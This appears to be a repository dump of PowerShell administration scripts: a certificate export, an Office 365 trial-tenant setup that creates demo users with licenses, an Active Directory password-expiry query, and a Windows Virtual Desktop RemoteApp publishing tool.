preferir: 27 | Export-PfxCertificate -cert Cert:\CurrentUser\My\238F64A20B08A4CB02B48906E31DCA6E48496FCC -FilePath c:\temp\sbrubles_local.pfx -Password $pwd 28 | 29 | # REF01: https://www.eduardopopovici.com/2017/04/emitindo-certificados-auto-assinados-no.html 30 | # REF02: https://www.youtube.com/watch?v=WMZOJ7lE-D4 31 | -------------------------------------------------------------------------------- /deploy365script.ps1: -------------------------------------------------------------------------------- 1 | param([switch]$Elevated) 2 | 3 | function Test-Admin { 4 | $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent()) 5 | $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) 6 | } 7 | 8 | if ((Test-Admin) -eq $false) { 9 | if ($elevated) 10 | { 11 | # tried to elevate, did not work, aborting 12 | } 13 | else { 14 | Start-Process powershell.exe -Verb RunAs -ArgumentList ('-noprofile -noexit -file "{0}" -elevated' -f ($myinvocation.MyCommand.Definition)) 15 | } 16 | 17 | exit 18 | } 19 | 20 | 'RUNNING WITH FULL PRIVILEGES' 21 | 22 | #INSTALANDO MÓDULO AZURE AD CONNECT 23 | 24 | 25 | Install-Module -Name MSOnline 26 | 27 | cls 28 | 29 | Connect-MsolService 30 | 31 | cls 32 | 33 | $dominio = Read-Host "Digite O nome do dominio trial criado? 34 | 35 | (Ex: Com dominio 'domainname.onmicrosoft.com' colocar apenas 'domainname' )" 36 | 37 | #ADICIONANDO USUÁRIOS 38 | #Setando display name do Admin 39 | 40 | cls 41 | 42 | Set-MsolUser -UserPrincipalName admin@$dominio.onmicrosoft.com -DisplayName "MOD Administrator" -FirstName "MOD" -LastName "Administrator" 43 | 44 | New-MsolUser -UserPrincipalName AlexW@$dominio.onmicrosoft.com -DisplayName "Alex Wilber" -FirstName "Alex" -LastName "Wilber" -Password 'Pa55w.rd' -ForceChangePassword $false -UsageLocation US 45 | New-MsolUser -City Waukesha -Country "US" -Department IT -DisplayName "Allan Deyoung" -FirstName Allan -LastName Deyoung -Password Pa55w.rd -State WI -UserPrincipalName AllanD@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 46 | New-MsolUser -City Birmingham -Country "US" -Department HR -DisplayName "Diego Siciliani" -FirstName Diego -LastName Siciliani -Password Pa55w.rd -State AL -UserPrincipalName DiegoS@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 47 | New-MsolUser -City Tulsa -Country "US" -Department Sales -DisplayName "Isaiah Langer" -FirstName Isaiah -LastName Langer -Password Pa55w.rd -State OK -UserPrincipalName IsaiahL@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 48 | New-MsolUser -City Charlotte -Country "US" -Department Legal -DisplayName "Joni Sherman" -FirstName Joni -LastName Sherman -Password Pa55w.rd -State NC -UserPrincipalName JoniS@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 49 | New-MsolUser -City Tulsa -Country "US" -Department Retail -DisplayName "Lynne Robbins" -FirstName Lynne -LastName Robbins -Password Pa55w.rd -State OK -UserPrincipalName LynneR@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 50 | New-MsolUser -City Pittsburgh -Country "US" -Department Marketing -DisplayName "Nestor Wilke" -FirstName Nestor -LastName Wilke -Password Pa55w.rd -State WA -UserPrincipalName NestorW@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 51 | New-MsolUser -City Seattle -Country "US" -Department Operations -DisplayName "Megan Bowen" -FirstName Megan -LastName Bowen -Password Pa55w.rd -State PA -UserPrincipalName MeganB@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 52 | New-MsolUser -City Louisville -Department "Executive Management" -DisplayName "Patti Fernandez" -FirstName Patti -LastName Fernandez -Password Pa55w.rd -State KY -UserPrincipalName PattiF@$dominio.onmicrosoft.com -UserType Member -UsageLocation US -ForceChangePassword $false 53 | 54 | 55 | Start-Sleep -Seconds 1 56 | 57 | cls 58 | 59 | 'LICENSING PROCESS STARTED . . .' 60 | 61 | #LICENCIAMENTO DOS USUÁRIOS - O365 E5 E ENTERPRISE MOBILITY E5 62 | #TODOS USUÁRIOS E ADMIN 63 | 64 | Set-MsolUserLicense -UserPrincipalName admin@$dominio.onmicrosoft.com -AddLicenses $dominio":ENTERPRISEPREMIUM" 65 | Set-MsolUserLicense -UserPrincipalName admin@$dominio.onmicrosoft.com -AddLicenses $dominio":EMSPREMIUM" 66 | 67 | Get-MsolUser -All -UnlicensedUsersOnly | Set-MsolUserLicense -AddLicenses $dominio":ENTERPRISEPREMIUM", $dominio":EMSPREMIUM" 68 | 69 | 70 | 71 | cls 72 | 'FULL LICENSE PROCESS! 73 | 74 | PLEASE WAIT FOR THE RESULTS . . .' 75 | Start-Sleep -Seconds 2 76 | cls 77 | 78 | Get-MsolAccountSku 79 | 80 | Start-Sleep -Seconds 3 81 | pause 82 | cls 83 | exit -------------------------------------------------------------------------------- /usuarios-senha-expirada: -------------------------------------------------------------------------------- 1 | Get-ADUser -filter * -properties PasswordLastSet, PasswordExpired, PasswordNeverExpires | sort Name | ft Name, PasswordLastSet, PasswordExpired, PasswordNeverExpires 2 | -------------------------------------------------------------------------------- /wvd-publishapps.ps1: -------------------------------------------------------------------------------- 1 | <#PSScriptInfo 2 | .VERSION 1.0.1 3 | .GUID 46c6e63c-4d14-48f3-a479-8056222b6c28 4 | .AUTHOR jason.byway@microsoft.com 5 | .COMPANYNAME Microsoft Australia 6 | .COPYRIGHT 7 | .TAGS 8 | .LICENSEURI 9 | .PROJECTURI 10 | .ICONURI 11 | .EXTERNALMODULEDEPENDENCIES Microsoft.RDInfra.RDPowershell 12 | .REQUIREDSCRIPTS 13 | .EXTERNALSCRIPTDEPENDENCIES 14 | .RELEASENOTES 15 | #> 16 | 17 | <# 18 | 19 | .DESCRIPTION 20 | Connect to Windows Virtual Desktop Service, list all RemoteApp App Groups and then allow admin to publish RemoteApps from selection 21 | 22 | #> 23 | 24 | function wvd-publishapps { 25 | Param( 26 | [Parameter(Mandatory = $false, ValueFromPipeline=$false, HelpMessage ="Enter your Tenant Name")] 27 | [ValidateNotNullorEmpty()] 28 | [string] $TenantName, 29 | 30 | [Parameter(Mandatory = $false, ValueFromPipeline=$false, HelpMessage ="Enter your Host Pool")] 31 | [ValidateNotNullorEmpty()] 32 | [string] $HostPool, 33 | 34 | [Parameter(Mandatory = $false, ValueFromPipeline=$false, HelpMessage ="Enter your App Group Name")] 35 | [ValidateNotNullorEmpty()] 36 | [string] $AppGroupName, 37 | 38 | [Parameter(Mandatory = $false, ValueFromPipeline=$false)] 39 | [string] $DeploymentURL = "https://rdbroker.wvd.microsoft.com") #default WVD Broker Service 40 | 41 | Try 42 | { 43 | #Check if user is already connected to WVD Service and catch error if not 44 | Write-Host "Please wait - checking for connection to WVD Service" -ForegroundColor Gray 45 | $RDSContext = Get-RdsContext -ErrorAction Stop 46 | Write-Host "WVD Context Found - Continuing" -ForegroundColor Gray 47 | 48 | } 49 | 50 | Catch 51 | 52 | { 53 | #Connect to WVD Service as user is not already connected 54 | Write-Warning "You are not currently connected to the WVD Service - attempting to login...." 55 | 56 | 57 | #Connect to WVD Service 58 | Add-RdsAccount -DeploymentUrl $DeploymentURL | out-host 59 | Write-host "[SUCCESS] Logged into your WVD Service" -ForegroundColor Green | out-host 60 | 61 | } 62 | 63 | # Check if Host Pool Information has been passed through and if not then enumerate RemoteApp Resource Types they have permission to access 64 | If(!$TenantName -or !$HostPool -or !$AppGroupName) 65 | { 66 | $apppools = @() 67 | $tenant = Get-RdsTenant 68 | Write-Host "Obtaining list of RemoteApp AppGroups across your tenants. Please wait." -ForegroundColor Gray | out-host 69 | Foreach ($i in $tenant) 70 | { 71 | $hosts = Get-RdsHostPool -TenantName $i.TenantName 72 | 73 | Foreach ($j in $hosts) 74 | { 75 | $apppools += Get-RdsAppGroup -TenantName $j.Tenantname -HostPoolName $j.HostPoolName 76 | 77 | } 78 | 79 | } 80 | $apppools = $apppools | Where-Object {$_.ResourceType -like 'RemoteApp'} | Out-GridView -Title "Please choose your AppGroup..." -OutputMode Single 81 | $apppools 82 | 83 | If(!$apppools) 84 | { 85 | NoSelectionHandling 86 | } 87 | Else 88 | { 89 | #Define parameter variables to continue script 90 | $TenantName = $apppools.TenantName 91 | $AppGroupName = $apppools.AppGroupName 92 | $HostPool = $apppools.HostPoolName 93 | Write-Host "$AppGroupName on $HostPool selected. Obtaining list of published apps - please wait." -ForegroundColor Gray 94 | } 95 | } 96 | 97 | # List apps published to the AppGroup 98 | $apps = get-rdsstartmenuapp -TenantName $TenantName -HostPoolName $HostPool -AppGroupName $AppGroupName 99 | 100 | # Send output to array for cleaner grid view 101 | $publish = foreach ($item in $Apps) 102 | { 103 | $item | select FriendlyName, FilePath, CommandLineArguments, AppAlias, IconPath, IconIndex 104 | } 105 | 106 | #Output to a grid-view - multiple values accepted 107 | $publish = $publish | Out-GridView -Title "Select App to publish" -OutputMode Multiple 108 | 109 | # If apps not selected write an error and prompt user for input 110 | If (!$publish) 111 | { 112 | NoSelectionHandling 113 | } 114 | 115 | Else 116 | { 117 | Write-Host "You have chosen to publish the following applications:" 118 | $publish | ft FriendlyName, FilePath -AutoSize 119 | 120 | #Confirm if you want to proceed 121 | Write-Host -nonewline "Do you want to proceed? (Y/N): " 122 | $Response = Read-Host 123 | Write-Host " " 124 | 125 | # If not Y then end script 126 | 127 | If ($Response -ne "Y") 128 | { 129 | Write-Host -ForegroundColor Green "[COMPLETE] Ending Script" 130 | Break 131 | 132 | } 133 | 134 | Else 135 | { 136 | #Publish the Remote App to the App Group 137 | $GetError = @() 138 | $newapp = foreach ($i in $publish) 139 | { 140 | 141 | $publish = New-RdsRemoteApp -TenantName $TenantName -HostPoolName $HostPool -AppGroupName $AppGroupName -Name $i.AppAlias -FilePath $i.FilePath -FriendlyName $i.FriendlyName -IconIndex $i.IconIndex -IconPath $i.IconPath -ErrorAction SilentlyContinue -ErrorVariable GetError | out-host -ErrorAction SilentlyContinue 142 | 143 | 144 | If($GetError) 145 | { 146 | 147 | Write-Host "Whoops! The script continued however the following app failed to publish." -ForegroundColor DarkYellow 148 | Write-host -NoNewline "$GetError" -ForegroundColor DarkYellow 149 | Write-host " " 150 | } 151 | 152 | Else 153 | { 154 | Write-Host " " 155 | } 156 | $GetError = "" 157 | 158 | } 159 | Write-Host "Successfully Completed." -ForegroundColor Green 160 | } 161 | } 162 | } 163 | 164 | function NoSelectionHandling { 165 | Write-Host -NoNewline "You have not made a selection. Would you like to try restart? (Y/N): " -ForegroundColor Red 166 | $Response = Read-Host 167 | 168 | If ($Response -ne "Y") 169 | { 170 | Write-Host "Exiting. Goodbye." 171 | Break 172 | } 173 | 174 | # Restart function with existing parameters if user chooses to try again 175 | Else { 176 | wvd-publishapps #-TenantName $TenantName -HostPool $HostPool -AppGroupName $AppGroupName 177 | } 178 | 179 | } 180 | --------------------------------------------------------------------------------